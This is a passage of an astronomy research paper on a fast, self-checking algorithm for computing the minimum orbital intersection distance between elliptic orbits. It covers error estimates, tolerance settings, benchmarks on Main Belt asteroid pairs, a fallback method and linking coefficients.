H_{uu} = \frac{({\bm{r}} - {\bm{r}}') {\bm{r}}_{uu} + {\bm{r}}_u^2}{2aa'}, \; H_{u'u'} = \frac{({\bm{r}} - {\bm{r}}') {\bm{r}}'_{u'u'} + {{{\bm{r}}}'_{u'}}^2}{2aa'}, \nonumber\\ H_{uu'} = -\frac{{\bm{r}}_u {\bm{r}}'_{u'}}{2aa'}, \qquad {\bm{r}}_u = \frac{d{\bm{r}}}{du}, \quad {\bm{r}}'_{u'} = \frac{d{\bm{r}}'}{du'}. \label{vgH}\end{aligned}$$ In fact, the effect of the precision loss is present in (\[vgH\]) too, due to the difference ${\bm{r}}-{\bm{r}}'$, but formula (\[rho\]) would exacerbate it further, because it hiddenly involves subtraction of squares* of the quantities. Now, according to @Baluev05, the radius-vector ${\bm{r}}$ on a Keplerian elliptic orbit is $$\frac{{\bm{r}}}{a} = {\bm{P}} (\cos u - e) + {\bm{S}} \sin u, \label{rvec}$$ with a similar expression for ${\bm{r}}'$. The corresponding derivatives with respect to $u$ and $u'$ are obvious. The stopping criterion for the 2D iterations (\[step\]) is similar to the one used in the Newton-Raphson scheme for the roots $z_k$. It applies the tolerance parameter $\delta_{\min}$ to $\|{\bm{d}}\|$. The iterations are therefore continued either until this accuracy $\delta_{\min}$ is reached by the angular variables $u$ and $u'$, or until we reach the maximum possible numeric precision, so that further iterations unable to increase it. The other control parameter $\delta_{\max}$ is not used here. In practice it appears enough to make just one or two refining iterations (\[step\]) to reach almost the machine accuracy in $\rho$. In rare almost-degenerate cases we may need $n=3$ iterations or more, but the fraction of such occurences is small and quickly decreases for larger $n$. Estimating uncertainties of the MOID and of its orbital positions ----------------------------------------------------------------- The numeric errors in $u$ and $u'$ come from three sources: the floating-point ‘storage’ errors, the residual errors appearing due to inaccurate fit of the condition $\nabla\rho=0$, and the numeric errors appearing when computing ${\bm{g}}$. Each of these error components transfers to $\rho$. The first error part in $u,u'$ can be roughly approximated as $$\sigma_{u,u'}^{(1)} = \pi\nu\epsilon, \label{uu1}$$ assuming that $\nu$ is our universal error scaling factor. Since the gradient ${\bm{g}}$ is negligible near the MOID, the Taylor decomposition (\[rhoTayl\]) implies the following error in $\rho$: $$\Delta\rho \simeq \frac{1}{2} {\bm{d}}^{\rm T} {\bm{\mathsf{H}}} {\bm{d}},$$ where ${\bm{d}}$ has the meaning of the 2D numeric error in $u,u'$. From (\[uu1\]), we know only the typical length of ${\bm{d}}$, but the direction of this vector can be arbitrary. Then we can use the Rayleigh inequality $$\|{\bm{d}}^{\rm T} {\bm{\mathsf{H}}} {\bm{d}}\| \leq \|\lambda_{\max}\| {\bm{d}}^2,$$ where $\lambda_{\max}$ is the maximum (in absolute value) eigenvalue of ${\bm{\mathsf{H}}}$. Since the size of ${\bm{\mathsf{H}}}$ is only $2\times 2$, it can be computed directly: $$\|\lambda_{\max}\| = \left\|\frac{H_{uu}+H_{u'u'}}{2}\right\| + \sqrt{\left(\frac{H_{uu}-H_{u'u'}}{2}\right)^2 + H_{uu'}^2}.$$ So, the indicative uncertainty in $\rho$ coming from this error source is $$\sigma_\rho^{(1)} \simeq \frac{\|\lambda_{\max}\|}{2} \left(\sigma_u^{(1)}\right)^2. \label{urho1}$$ The second error part in $u,u'$ can be derived from (\[step\]), substituting the residual gradient ${\bm{g}}$ that appears after the last refining iteration: $$\left( \sigma_u^{(2)}\atop \sigma_{u'}^{(2)} \right) = - {\bm{\mathsf{H}}}_{\rm rsd}^{-1} {\bm{g}}_{\rm rsd}. \label{uu2}$$ From (\[rhoTayl\]), this will imply the following error in $\rho$: $$\sigma_\rho^{(2)} \simeq \frac{1}{2} {\bm{g}}_{\rm rsd}^{\rm T} {\bm{\mathsf{H}}}_{\rm rsd}^{-1} {\bm{g}}_{\rm rsd}. \label{urho2}$$ The third error source comes from possible round-off errors in ${\bm{g}}$, which may perturbate the computed position of the local minimum of $\rho$ via (\[step\]). Let us assume that the numeric uncertainty of ${\bm{g}}$ is $\sigma_g$, which has the meaning of a typical length of the computed vector ${\bm{g}}$ at the strict (algebraic) stationary point of $\rho$, where ${\bm{g}}$ must vanish. Then from (\[step\]) one may derive that $$\|{\bm{d}}\| \leq \frac{\|{\bm{g}}\|}{\|\lambda_{\min}\|},$$ where the $\lambda_{\min}$ is the minimum eigenvalue of ${\bm{\mathsf{H}}}$: $$\frac{1}{\|\lambda_{\min}\|} = \frac{\|\lambda_{\max}\|}{\|\det{\bm{\mathsf{H}}}\|}.$$ Hence, the corresponding uncertainty in $u,u'$ is estimated by $$\sigma_{u,u'}^{(3)} \simeq \frac{\|\lambda_{\max}\|}{\|\det{\bm{\mathsf{H}}}\|}\sigma_g, \label{uu3}$$ The corresponding uncertainty for $\rho$ can be expressed using (\[urho2\]), but now ${\bm{g}}$ is basically an unknown random vector of average length $\sim \sigma_g$. We can again apply the Rayleigh inequality to obtain $$\sigma_\rho^{(3)} \simeq \frac{\|\lambda_{\max}\|}{2} \frac{\sigma_g^2}{\|\det{\bm{\mathsf{H}}}\|}. \label{urho3}$$ The quantity $\sigma_g$ appears more complicated and is derived below. The fourth error source in $\rho$ appears when applying the first formula of (\[vgH\]). If MOID is small then the relative error in $\rho$ increases due to the precision loss, appearing because of the subtraction of close vectors ${\bm{r}}$ and ${\bm{r}}'$. If these vectors have relative ‘storage’ errors about $\nu \epsilon$ then their absolute numeric errors are $\sigma_{{\bm{r}}} \sim \nu\epsilon r$ and $\sigma_{{\bm{r}}'} \sim \nu\epsilon r'$. Hence, the inferred cumulative uncertainty of the difference is about their quadrature sum: $$\sigma_{{\bm{r}}-{\bm{r}}'} \simeq \nu\epsilon \sqrt{r^2+{r'}^2}. \label{sdiff}$$ Let us compute the inferred uncertainty in $\rho$ using the so-called delta method. Since $2aa'\rho=({\bm{r}}-{\bm{r}}')^2$ then the error $\Delta\rho$ appearing due to a small perturbation $\Delta_{{\bm{r}}-{\bm{r}}'}$ is $$2aa' \Delta\rho = 2({\bm{r}}-{\bm{r}}') \Delta_{{\bm{r}}-{\bm{r}}'} + \Delta_{{\bm{r}}-{\bm{r}}'}^2.$$ By replacing the terms above with their uncertainties or with absolute values of vectors, and assuming that different terms are always added in the worst-case fashion, the final error component in $\rho$ may be estimated as follows: $$\sigma_\rho^{(4)} \simeq 2\rho \frac{\sigma_{{\bm{r}}-{\bm{r}}'}}{\sqrt{2aa'}} + \frac{\sigma_{{\bm{r}}-{\bm{r}}'}^2}{2aa'}. \label{urho4}$$ Notice that we cannot in general neglect the last term in (\[urho4\]), because it may appear significant if $\rho$ is small. Now we can also estimate the numeric uncertainty of ${\bm{g}}$ by computing its finite difference from (\[vgH\]), analogously to $\Delta\rho$: $$2aa' \Delta {\bm{g}} \simeq \left(\Delta_{{\bm{r}}-{\bm{r}}'}{\bm{r}}_u + ({\bm{r}}-{\bm{r}}')\Delta {\bm{r}}_u \atop \Delta_{{\bm{r}}-{\bm{r}}'}{\bm{r}}'_{u'} + ({\bm{r}}-{\bm{r}}')\Delta {\bm{r}}'_{u'}\right).$$ By applying the same approach as for $\Delta\rho$, we may obtain the following for the uncertainties in ${\bm{g}}$: $$2aa' \left(\sigma_{{\bm{g}}_u}\atop \sigma_{{\bm{g}}_{u'}}\right) \simeq \left(\sigma_{{\bm{r}}-{\bm{r}}'} r_u + \rho\sqrt{2aa'} \sigma_{{\bm{r}}_u} \atop \sigma_{{\bm{r}}-{\bm{r}}'} r'_{u'} + \rho\sqrt{2aa'}\sigma_{{\bm{r}}'_{u'}} \right).$$ Since $\sigma_g^2 = \sigma_{{\bm{g}}_u}^2 + \sigma_{{\bm{g}}_{u'}}^2$, and $\sigma_{{\bm{r}}_u} \sim \nu\epsilon r_u$, and using (\[sdiff\]), one can obtain $$\sigma_g \simeq \frac{\nu\epsilon}{2aa'}\left(\|{\bm{r}}-{\bm{r}}'\|+\sqrt{r^2+r'^2}\right) \sqrt{r_u^2+{r'_{u'}}^2}.$$ But now we can clearly see that the term $\|{\bm{r}}-{\bm{r}}'\|$ is either small or of the same order as $\sqrt{r^2+r'^2}$, so to simplify the formula we can simply neglect it and leave only the latter term. We therefore put: $$\sigma_g \simeq \frac{\nu\epsilon}{2aa'} \sqrt{r^2+r'^2} \sqrt{r_u^2+{r'_{u'}}^2}.$$ This should be substituted to the formula (\[urho3\]) above. Finally, summing up all four error components in $\rho$ yields the cumulative uncertainty $$\sigma_\rho \sim \sigma_\rho^{(1)}+\sigma_\rho^{(2)}+\sigma_\rho^{(3)}+\sigma_\rho^{(4)}.$$ Of course, some of these error terms may often become negligible, but it is difficult to predict in advance which terms would dominate in this sum. Since either term may appear large in certain conditions, we need to preserve all of them for the sake of reliability. After that, an indicative uncertainty for the $\mathrm{MOID}=\sqrt{2aa'\rho}$ is approximated by using the delta method as $$\sigma_{\mathrm{MOID}} \sim \frac{aa'\sigma_\rho}{\mathrm{MOID}}.$$ This formula is valid only if $\rho$ is not close to zero (compared to $\sigma_\rho$). Otherwise, the MOID uncertainty is $$\sigma_{\mathrm{MOID}} \sim \sqrt{2aa'\sigma_\rho}.$$ The two latter formulae can be combined into a single approximate one: $$\sigma_{\mathrm{MOID}} \sim \frac{aa'\sigma_\rho}{\sqrt{\mathrm{MOID}^2 + aa'\sigma_\rho/2}}.$$ Self-testing numerical reliability ---------------------------------- Finally, our algorithm includes a self-diagnostic test that verifies the following post-conditions: 1. All roots that passed (\[thr\]) must comply with the requested least accuracy: $\nu\varepsilon_z<\delta_{\max}$. 2. The minimum of $\Delta_z$ among all the roots that failed (\[thr\]) must exceed $10$, meaning that there is no other suspicious root candidates. That is, the families $\|z\|=1$ and $\|z\|\neq 1$ must be separated by a clear gap. 3. The number of roots that passed (\[thr\]) must be even and greater than four (necessary algebraic conditions following from the theory). 4. After the 2D refining, the Hessian ${\bm{\mathsf{H}}}_{\rm rsd}$ is strictly positive-definite, so we indeed are at a local minimum (rather than maximum or saddle point). 5. On the 2D refining stage, the total cumulative change in $u$ satisfies the condition $\|\Delta u\| < \delta_{\max}$. In some part this condition duplicates (i), ensuring the initial approximation of the corresponding root did not appear to have inacceptable accuracy. But it also ensures that the 2D refining did not switch us to a completely different root of $g(u)$ (another stationary point of $\rho$). We pay no attention to $u'$ here, because it is always derived from $u$ using (\[us\]), so its numeric error, even if large, is not indicative regarding the selection of a correct root of $g(u)$. If some of these conditions are broken, the algorithm sets a warning flag. Receiving such a signal, the results should be considered unreliable. In practice this is a very seldom case (see next section), but still possible. Then the following sequence can be done to verify the results: (i) run the same algorithm on the same orbits $\mathcal E$ and $\mathcal E'$, but swap them with each other; (ii) if failed again, run the same algorithm using the [long double]{} precision instead of [double]{}; (iii) run the [long double]{} computation on swapped orbits; (iv) if everything failed, invoke an alternative MOID algorithm, e.g. the one from Sect. \[sec\_add\]. We notice that since the task is solved asymmetrically, the algorithm may yield slightly different results when computing $\mathrm{MOID}(\mathcal E,\mathcal E')$ and $\mathrm{MOID}(\mathcal E',\mathcal E)$. If the orbital configuration does not imply degeneracies, both computations should offer the same MOID value, within the reported uncertainties. If they differ unacceptably, this can serve as an additional indicator that something went wrong. However, this notice does not apply to the estimated MOID uncertainty. This uncertainty can appear different when computing $\mathrm{MOID}(\mathcal E,\mathcal E')$ and $\mathrm{MOID}(\mathcal E',\mathcal E)$, because the polynomials $g(u)$ and $g(u')$ may have (and usually do have) different algebraic properties. In fact, if the goal is accuracy rather than speed, one may always compute the MOID in the both directions, $\mathcal E \to \mathcal E'$ and $\mathcal E' \to \mathcal E$, selecting the value offering better accuracy. On the choice of error tolerances {#sec_tols} ================================= The algorithm involves three main parameters related to the error control: $\delta_{\min}$, $\delta_{\max}$, and $\nu$. The primary error tolerance is $\delta_{\min}$. It controls the resulting accuracy of the roots $z_k$, and of the eccentric anomalies $u,u'$, but not of the MOID itself and not even of the adimensional function $\rho$. By setting $\delta_{\min}$ to a larger or smaller value we may obtain less or more accurate result (in terms of $u,u'$). We can set $\delta_{\min}=0$, meaning to seek maximum precision possible with the hardware (though this probably requires to use the [long double]{} arithmetic, see below). The auxiliary error tolerance $\delta_{\max}$ does not actually control the accuracy of the results. Setting a smaller $\delta_{\max}$ won’t result in a more numerically accurate MOID estimate. This parameter has two aspects: (i) it is used in the root-finding part to control the initial ‘burn-in’ stage of the Newton scheme and (ii) it is used as an indicative threshold to separate numerically ‘reliable’ cases from ‘unreliable’ ones. Therefore, the common sense requires that $\delta_{\max}$ must be greater (preferably, significantly greater) than $\delta_{\min}$. Forcing $\delta_{\max}$ too small may result in the following undesired effects. First, the Newton root-finding scheme may drastically slow down, because its ‘burn-in’ stage does not expect that it may reach the machine precision and may otherwise iterate the roots until the internal iteration limit. The output precision would then be worse than $\delta_{\max}$ anyway. Secondly, too small $\delta_{\max}$ may trigger an unnecessary increase of the number of the unreliability warnings. Concerning the unreliability warnings, the practical value of $\delta_{\max}$ can be selected based on the observational uncertainty of orbital elements (relative uncertainty in terms of $a,a'$ or absolute one in terms of the angular elements). This input uncertainty is typically considerably larger than the machine precision. With so-selected $\delta_{\max}$, the warning flag would indicate that the numeric accuracy of $z_k$ might be worse than the errors inferred by input observational uncertainties. Then the intermediate (inferred by $z_k$) numeric uncertainty of $u$ and $u'$ may appear larger than what we can trigger by varying the orbital elements within their error boxes. In this case the warning is physically reasonable. But if the numeric uncertainty always remains below the observational one then signaling any warning does not make sense. In any case, it does not make sense to set $\delta_{\max}$ too much below the physical sizes of the objects (relative to $\sim \max(a,a')$). For the Main Belt, this is $\sim 10^{-11}$ AU corresponding to the smallest known asteroids of $\sim 1$ m in size. If the uncertainty of orbital elements is unknown or irrelevant than the good choice of $\delta_{\max}$ is $\sqrt{\delta_{\min}}$, which follows from the properties of the Newton-Raphson method. In such a case, for each root $z_k$ we need to make just one or two iterations after the ‘burn-in’ part of the Newton scheme. This is because the number of accurate digits is roughly doubled after each Newtonian iteration. For example, if the accuracy of $\sqrt\epsilon$ has been reached, on the next iteration we will likely have $\epsilon$. As to the last control parameter, $\nu$, it may be used to manually scale up all the error assessments. So far in our tests we did not find practical reasons to set it to something different from $\nu=1$. But whenever necessary, it can be used to disentangle the value $\delta_{\max}$ used by the Newtonian root-finding scheme from the threshold used in the error control part. Since $\nu$ scales all the error estimates up, its effect is equivalent to reducing the error threshold from $\delta_{\max}$ to $\delta_{\max}/\nu$, but the Newton scheme is always using $\delta_{\max}$ and ignores the scale factor $\nu$. Summarizing, it appears that in the general case it is reasonable to set $\delta_{\min}$ about the machine epsilon, $\delta_{\max}\sim\sqrt{\delta_{\min}}$, and to select such $\nu$ that $\delta_{\max}/\nu$ is about the physically justified MOID uncertainty (relative to $\sim \max(a,a')$). Practical validation and performance benchmarks {#sec_perf} =============================================== We tested our algorithm on the first $10000$ numbered asteroids from the Main Belt, implying $\sim 10^8$ orbit pairs. The orbital elements were taken from the catalog `astorb.dat` of the Lowell observatory.[^4] Our algorithm succeeded nearly always. When using the standard [double]{} floating-point arithmetic, the self-test conditions listed above were failed only once per $25000$ orbit pairs. In case of such a warning the first attempt was to rerun the same algorithm interchanging the orbits $\mathcal E$ and $\mathcal E'$. Since the method treats orbits asymmetrically, this usually helps. Double-warnings occured in our test once per $2.5\times 10^6$ orbit pairs. We note that if the algorithms returns a bad self-diagnostic flag, this does not yet mean that it failed to compute the MOID and the result is necessarily wrong or just absent. One of the reasons for a warning is that some root $z_k$ (not even necessarily related to the global minimum) is worse than the required least accuracy $\delta_{\max}$. But worse does not mean necessarily useless. This just means that the result needs an attention and probably needs a more detailed investigation using different other methods to confirm or refine the results. Occurences when the resulting MOID appears entirely wrong and has inacceptable accuracy, represent only a small fraction of all those cases when the warning was reported. ![The difference between MOID values computed by the Gronchi’s code and by our new algorithm (labelled as [distlink]{}). Top: comparing results improved by orbits interchanging and selecting the best MOID of the two. Bottom: using only a single MOID value for comparison. To reduce the figure file size, we removed from the both graphs all differences below $10^{-13}$ AU in absolute magnitude. In these conditions, no points were revealed below the abscissa, i.e. [distlink]{} always provided smaller MOID value than the Gronchi’s code. See text for a detailed explanation.[]{data-label="fig_Gtest"}](compar.eps){width="\linewidth"} We also tested the Gronchi FORTRAN code in the same setting. We found only two orbit pairs for which it failed with a error and no-result, and swapping the orbits did not help. A single-fail case, when the first attempt to compute MOID failed, but swapping the orbits did help, occured once per $\sim 3\times 10^5$ MOID computations. For the majority of orbit pairs this algorithm gave some numeric MOID value at least, but in itself this does guarantees that all these values are accurate. We provide a comparison of our new algorithm with the Gronchi code in Fig. \[fig\_Gtest\]. We compute the differences of the Gronchi MOID minus the MOID obtained by our new algorithm in two settings. In the first case, we run both algorithms for each orbit pair twice, to compute $\mathrm{MOID}(\mathcal E, \mathcal E')$ and $\mathrm{MOID}(\mathcal E', \mathcal E)$. With the Gronchi code, we select the minimum MOID between the two, and for our new code we select the best-accuracy MOID. If Gronchi algorithm failed with no-result in one of the two runs, the corresponding MOID value was ignored, and only the other one was used. If both values of the MOID obtained by Gronchi’s algorithm were failed, this orbit pair itself was ignored. Additionally, if our new algorithm reported a warning, we either ignored this MOID in favour of the other value, or invoked the fallback algorithm from Sect. \[sec\_add\], if that second MOID estimate appeared unreliable too. The MOID difference between the Gronchi code and new algorithm was then plotted in the top panel of Fig. \[fig\_Gtest\]. In the second setting, we plainly performed just a single MOID computation for each orbit pair without orbit interchange, either using the Gronchi code or our new algorithm. Orbit pairs for which Gronchi code failed or our algorithm reported a warning, were ignored and removed. The corresponding MOID difference is plotted in the bottom panel of Fig. \[fig\_Gtest\]. We may see that there are multiple occurences when Gronchi code obtained clearly overestimated MOID value (i.e., it missed the true global minimum). But all the cases, in which Gronchi algorithm produced smaller MOID than our library, correspond to the MOID difference of $\sim 10^{-13}$ AU at most, with $\sim 10^{-16}$ AU in average. So all these occurences look like some remaining round-off errors (possibly even in the Gronchi code rather than in [distlink]{}). Therefore, we did not find an occurence in which [distlink]{} would yield clearly wrong MOID value without setting the unreliability flag. ![Distribution of the estimated uncertainties $\sigma_\mathrm{MOID}$ versus an empiric error measure $\left\|\mathrm{MOID}(\mathcal E, \mathcal E') - \mathrm{MOID}(\mathcal E', \mathcal E)\right\|$, for the test case of $10^8$ orbital pairs (see text). The inclined line labels the main diagonal (abscissa equals ordinate). All simulated dots falled below this line. The computations were done in the [double]{} floating-point arithmetic, AMD FX configuration.[]{data-label="fig_testerr"}](errors_rasterized.eps){width="49.00000%"} In Fig. \[fig\_testerr\] we compare the quadrature sum of the reported MOID uncertainties, $\sigma_\mathrm{MOID}=\sqrt{\sigma_\mathrm{MOID(\mathcal E,\mathcal E')}^2 + \sigma_\mathrm{MOID(\mathcal E',\mathcal E)}^2}$, with the difference $\|\mathrm{MOID}(\mathcal E,\mathcal E')-\mathrm{MOID}(\mathcal E',\mathcal E)\|$ that can be deemed as an empiric estimate of the actual MOID error. We may conclude that our algorithm provides rather safe and realistic assessment of numeric errors, intentionally a bit pessimistic. We did not met a case with the empiric error exceeding the predicted uncertainty. ![image](iterations.eps){width="49.00000%"} ![image](iterations_2D.eps){width="49.00000%"} From Fig. \[fig\_testiter\] one can see that we spend, in average, about $n=5-6$ Newtonian iterations per each root. One way how we may further increse the speed of computation is to reduce this number. However, this number is already quite small, so there is no much room to significantly reduce it. On the refining stage the algorithm usually performs just one or two 2D Newtonian iterations in the plane $(u,u')$. The fraction of occurences when three or more refining iterations are made is very small and further decreases quickly. The maximum number of refining iterations made in this test was $7$. ------------------- -------------- -------------- -------------- -------------- Hardware [distlink]{} Gronchi code [distlink]{} Gronchi code (fast alg.) (fast alg.) Intel Core i7 $24$ $\mu$s $36$ $\mu$s $77$ $\mu$s NA Supermicro & Xeon $31$ $\mu$s $61$ $\mu$s $100$ $\mu$s NA AMD FX $44$ $\mu$s $70$ $\mu$s $357$ $\mu$s NA ------------------- -------------- -------------- -------------- -------------- \[tab\_bench\] In Table \[tab\_bench\], we present our performance benchmarks for this test application. They were done for the following hardware: (i) Intel Core i7-6700K at $4.0$ GHz, (ii) Supermicro server with Intel Xeon CPU E5-2630 at $2.4$ GHz, and (iii) AMD 990FX chipset with AMD FX-9590 CPU at $4.4$ GHz. The second configuration is rather similar to one of those used by @Hedo18. We used either 80-bit [long double]{} floating-point arithmetic or the 64-bit [double]{} one, and requested the desired accuracy of $2\epsilon$: $\delta_{\min}\sim 2.2\times 10^{-19}$ or $\delta_{\min}\sim 4.4\times 10^{-16}$, respectively. We did not use $\delta_{\min}=0$, because in the [double]{} case many CPUs hiddenly perform much of the local computation in [long double]{} precision instead of the requested [double]{}. Newtonian iterations are then continued to this undesiredly increased level of precision, if $\delta_{\min}=0$, thus introducing an unnecessary minor slowdown. The least required accuracy $\delta_{\max}$ was set to $\sqrt\epsilon$ in all of the tests. All the code was compiled with [GCC]{} (either `g++` or `gfortran`) and optimized for the local CPU architecture (`-O3 -march=native -mfpmath=sse`). The Gronchi primary computing subroutine `compute_critical_points_shift()` was called from our C++ program natively, i.e. without any intermediary file IO wrapping that would be necessary if we used the main program `CP_comp.x` from the Gronchi package. To accurately measure the time spent purely inside just the MOID computation, and not on the file IO or other algorithmic decorations around it, we always performed three independent runs on the test catalog: (i) an ‘empty’ run without any calls to any MOID algorithm, only iteration over the catalog; (ii) computation of all MOIDs using the algorithm of this paper, without writing results to a file; (iii) same for the Gronchi algorithm. The time differences (ii)-(i) or (iii)-(i) gave us the CPU time spent only inside the MOID computation. We never included the CPU time spent in the kernel mode. We assume this system time likely refers to some memory pages manipulation or other similar CPU activity that appears when the program iteratively accesses data from a big catalog. In any case, this system time would be just a minor addition to the result ($\sim 1-2$ per cent at most). The reader may notice that the hardware can generate huge performance differences, not necessarily owing to just the CPU frequency. Moreover, even the performance on the same AMD machine differs drastically between the [double]{} and [long double]{} tests. This puzzling difference appears mainly due to slow 80-bit floating-point arithmetic on AMD, not because of e.g. different number of Newtonian iterations per root (which appeared almost the same in all our tests, $5$–$6$ iterations per root). We conclude that our algorithm looks quite competitive and probably even outperforming the benchmarks obtained by @Hedo18 for their set of tested algorithms ($60$–$80$ $\mu$s per orbit pair on a Supermicro/Xeon hardware). They used [double]{} precision rather than [long double]{} one. Therefore, our algorithm possibly pretends to be the fastest one available to date, or at least it belongs to the family of the fastest ones. In the majority of cases it yields considerably more accurate and reliable results, usually close to the machine precision, and its accuracy may seriously degrade only in extraordinary rare nearly degenerate cases, which are objectively hard to process. Additional tools {#sec_add} ================ Our main algorithm based on determining the roots of $g(u)$ is fast but might become vulnerable in the rare cases of lost roots. Whenever it signals a warning, alternative algorithms should be used, trading computing speed for better numeric resistance with respect to degeneracies. In addition to the basic 0D method based on $g(u)$ root-finding, our library implements a “fallback” algorithm of the 1D type, based on the brute force-like minimization of $\tilde\rho(u)$. This method is numerically reliable thanks to its simplicity, and its slow speed is not a big disadvantage, because it needs to be run only if the basic fast method failed. In our benchmarking test it appeared $\sim 6$ times or $\sim 4$ times slower than our fast algorithm or the Gronchi code, respectively. But this is likely sensitive to its input parameters. First of all, the algorithm scans only a restricted range in the $u$ variable, discarding the values where the MOID cannot be attained. The requied $u$ range is determined as follows. Using e.g. formulae from [@KholshVas99lc], compute the minimum internodal distance $d_\Omega$. Since MOID is usually attained near the orbital nodes, this quantity and its corresponding orbital positions already provide rather good approximation to the MOID. Then consider two planes parallel to the orbit $\mathcal E'$, and separated from it by $\pm d_\Omega$. We need to scan only those pieces of orbit $\mathcal E$ that lie between these planes, i.e. lie within $\pm d_\Omega$ band from the $\mathcal E'$ plane. The points on $\mathcal E$ outside of this set are necessarily more distant from $\mathcal E$ than $d_\Omega$, so the MOID cannot be attained there. This trick often reduces the $u$ range dramatically. This optimization was inspired by the discussion given in [@Hedo18]. The detailed formulae for the reduced range of $u$ are given in \[sec\_urange\]. Moreover, this algorithm automatically selects the optimal orbits order $(\mathcal E,\mathcal E')$ or $(\mathcal E',\mathcal E)$ to have a smaller angular range to scan. In the case if the cumulative ranges appear equal (e.g. if we occasionally have the full-circle $[0,2\pi]$ in both cases) then the user-supplied order is preserved. The efficiency of this approach is demonstrated in Fig. \[fig\_urange\], where we plot the distribution density for the total range length obtained, as computed for our test case of $10^4\times 10^4$ asteroid pairs. The fraction of the cases in which this range could not be reduced at all (remained at $[0,2\pi]$) is only $\sim 2\%$, and in the majority of occurences it could be reduced to something well below $1$ rad. The efficiency of the reduction increases if MOID is small. Then the total scan range may be reduced to just a few degrees. ![The distribution density of the reduced angular range in $u$, as obatined for $\sim 10^8$ asteroid pairs.[]{data-label="fig_urange"}](urange.eps){width="\linewidth"} The minimization of $\tilde\rho(u)$ is based on subsequent sectioning of the initial angular range for $u$. The user can set an arbitrary sequence of integer numbers $n_1,n_2,n_3,\ldots,n_p$ that define how many segments are considered at different stages. The initial angular range is partitioned into $n_1$ equal segments separated by the equidistant nodes $u_k$, and the node with a minimum $\tilde\rho(u_k)$ is determined. We note that the input parameter $n_1$ is always interpreted as if it corresponded to the entire $[0,2\pi]$ range, even if the actual scan range is reduced as described above. The segment length on the first step is normally set to $h_1=2\pi/n_1$ regardless of the scan range, unless this scan range is itself smaller than $h_1$. On the second stage, the segment $[u_{k-1},u_{k+1}]$ surrounding the minimum $u_k$ is considered. It is sectioned into $n_2$ equal segments, and the node corresponding to the minimum $\tilde\rho(u_k)$ is determined again. On the third stage, the segment $[u_{k-1},u_{k+1}]$ is sectioned into $n_3$ smaller segments, and so on. On the $k$th stage, the length of the segment between subsequent nodes is reduced by the factor $2/n_k$, so only $n_k\geq 3$ are meaningful. Starting from the stage number $p$, the segments are always partitioned into $n_p$ subsegments, until the global minimum of $\tilde\rho(u)$ is located with a desired accuracy in $u$ and $\rho$. It is recommended to set $n_1$ large enough, e.g. $\sim 1000$, in order to sample the objective function with its potentially intricate variations densely enough, whereas the last $n_p$ can be set to $4$, meaning the bisection. We notice that this method was not designed for a standalone use. It was not even supposed to be either more reliable or more accurate in general than our primary fast method. It was supposed to provide just yet another alternative in rare special cases when the primary method did not appear convincingly reliable. Its practical reliability depends on the input parameters very much: too small $n_1$ may lead to frequent loosing of local minima in $\tilde\rho(u)$, if they are narrow. Hence we may miss the correct global minimum sometimes. But this effect can be always suppressed by selecting a larger $n_1$. In our tests, with $n_1=1000$ this algorithm generated one wrong MOID per $\sim 3000$ trials, so it is not recommended for a general sole use. This could be improved by implementing an adaptive sampling in the $u$ variable, e.g. depending on the derivative $\|\tilde\rho'\|$, but we did not plan to go that far with this method. We note that narrow local minima of $\rho$ are, informally speaking, in some sense antagonistic to almost-multiple critical points, so this fallback algorithm is vulnerable to rather different conditions than our primary fast method. Therefore it can serve as a good complement to the latter. Also, we include in the library several fast tools that may appear useful whenever we need to actually compute the MOID only for those object that are close to an orbital intersection. These tools may help to eliminate most of the orbit pairs from the processing. The first one represents an obvious pericenter–apocenter test: $\mathrm{MOID} \geq a(1-e)-a'(1+e')$, and $\mathrm{MOID} \geq a'(1-e')-a(1+e)$. If any of these quantities appeared positive and above some upper threshold $\mathrm{MOID}_{\max}$ then surely $\mathrm{MOID}>\mathrm{MOID}_{\max}$, and one may immediately discard such orbital pair from the detailed analysis. Our library also includes functions for computing the so-called linking coefficients introduced by @KholshVas99lc. The linking coefficients are functions of two orbits that have the dimension of squared distance, like $\|{\bm{r}}-{\bm{r}}'\|^2=2aa'\rho$, and they are invariable with respect to rotations in $\mathbb R^3$. @KholshVas99lc introduced three linking coefficients that should be selected depending on whether the orbits are (nearly) coplanar or not. See all the necessary formulae and discussion in that work. For our goals it might be important that at least one of these linking coefficients, $l_1 = d_1 d_2$, can be used as an upper limit on the MOID. It represents a signed product of two internodal distances from (\[ind\]), so the squared MOID can never be larger than $\|l_1\|$. This allows us to limit the MOID from another side, contrary to the pericenter-apocenter test. Moreover, based on $l_1$ we introduce yet another linking coefficient defined as $$l_1' = \min\left(\|d_1\|,\|d_2\|\right)^2 {\mathop{\text{sign}}\nolimits}l_1.$$ This modified $l_1$ provides even tighter upper limit on the squared MOID, but still preserves the sign that indicates the orbital linkage in the same way as $l_1$ did. It is important for us that all linking coefficients are computed very quickly in comparison to any MOID algorithm, because they are expressed by simple elementary formulae. The linking coefficients were named so because their original purpose was to indicate whether two orbits are topologically linked like two rings in a chain, or not. The intermediate case between these two is an intersection, when the linking coefficient vanishes together with the MOID. Therefore, these indicators can be potentially used as computationally cheap surrogates of the MOID. But in addition to measuring the closeness of two orbits to an intersection, linking coefficients carry information about their topological configuration. Also, these quantities can be used to track the time evolution of the mutual topology of perturbed non-Keplerian orbits, for example to locate the moment of their intersection without computing the MOID. Further development and plans ============================= Yet another possible way to extend our library is to implement the method by @Baluev05 for computing the MOID between general confocal unperturbed orbits, including hyperbolic and parabolic ones. This task can be also reduced to finding real roots of a polynomial similar to $\mathcal P(z)$. In a future work we plan to provide statistical results of applying this algorithm to the Main Belt asteroids, also including the comparison of the MOID with linking coefficients and other indicators of orbital closeness. Acknowledgements {#acknowledgements .unnumbered} ================ This work was supported by the Russian Science Foundation grant no. 18-12-00050. We express gratitude to the anonymous reviewers for the fruitful comments and useful suggestions on the manuscript. Reducing the scan range for the eccentric anomaly {#sec_urange} ================================================= Let us introduce ${\bm{R}}' = {\bm{P}}' \times {\bm{Q}}'$, which is a unit vector orthogonal to the orbital plane of $\mathcal E'$. The vectors ${\bm{P}}'$, ${\bm{Q}}'$, ${\bm{R}}'$ form an orthonormal basis in $\mathbb R^3$. Then from (\[rvec\]) let us compute the dot-product $$({\bm{r}} - {\bm{r}}') {\bm{R}}' = a PR' (\cos u - e) + a SR' \sin u,$$ which represents a projection of the distance vector ${\bm{r}} - {\bm{r}}'$ on the basis vector ${\bm{R}}'$. Note that the dot-product ${\bm{r}}' {\bm{R}}'$ is always zero. Now, we need this distance projection to be within $\pm d_\Omega$ from zero, because otherwise the absolute distance can be only larger than $d_\Omega$. This yields two inequality constraints 